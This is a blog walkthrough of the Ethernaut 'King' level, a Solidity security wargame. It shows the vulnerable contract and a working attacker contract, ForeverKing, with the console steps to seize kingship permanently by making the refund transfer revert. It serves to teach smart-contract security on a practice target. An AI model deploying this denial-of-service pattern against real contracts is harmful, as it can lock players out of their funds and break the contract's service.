DEV Community

Cover image for Ethernaut Hacks Level 9: King
Naveen ⚡
Naveen ⚡

Posted on

6 1

Ethernaut Hacks Level 9: King

This is the level 9 of Ethernaut game.

Pre-requisites

Hack

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}
Enter fullscreen mode Exit fullscreen mode

player has to prevent the current level from reclaiming the kingship after instance is submitted.

Kingship is switched in receive function i.e. when a specific value is sent to King. So, we'll have to somehow prevent execution of receive.

The key thing to notice is that previous king is sent back msg.value using transfer. But what if this previous king was a contract and it didn't implement any receive or fallback? It won't be able to receive any value. And because of this transfer stops execution with an exception (unlike send). Gotcha!

Let's make a contract ForeverKing that has NO receive or fallback:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract ForeverKing {
    function claimKingship(address payable _to) public payable {
        (bool sent, ) = _to.call.value(msg.value)("");
        require(sent, "Failed to send value!");
    }
}
Enter fullscreen mode Exit fullscreen mode

Query the current prize:

await contract.prize().then(v => v.toString())

// Output: '1000000000000000'
Enter fullscreen mode Exit fullscreen mode

So at least 1000000000000000 wei is required to claim kingship.

Get your instance's address, so that ForeverKing can send value to it:

contract.address

// Output: <your-instance-address>
Enter fullscreen mode Exit fullscreen mode

Call claimKingship of ForeverKing with param <your-instance-address> and set the amount 1000000000000000 wei as value in Remix. That will make ForeverKing contract as king.

Submit the instance. Upon submitting the level will try to reclaim kingship through receive fallback. However, it will fail.

This is because upon reaching line:

king.transfer(msg.value);
Enter fullscreen mode Exit fullscreen mode

exception would occur because king (i.e. deployed ForeverKing contract) has no fallback functions.

Level cleared.

Bonus thing to note here is that in ForeverKing's claimKingship, call is used specifically. transfer or send will fail because of limited 2300 gas stipend. receive of King would require more than 2300 gas to execute successfully.

Of course, there are probably other ways too to prevent a successful receive execution.

Learned something awesome? Consider starring the github repo 😄

and following me on twitter here 🙏

AWS Security LIVE!

Join us for AWS Security LIVE!

Discover the future of cloud security. Tune in live for trends, tips, and solutions from AWS and AWS Partners.

Learn More

Top comments (0)

Image of Docusign

Bring your solution into Docusign. Reach over 1.6M customers.

Docusign is now extensible. Overcome challenges with disconnected products and inaccessible data by bringing your solutions into Docusign and publishing to 1.6M customers in the App Center.

Learn more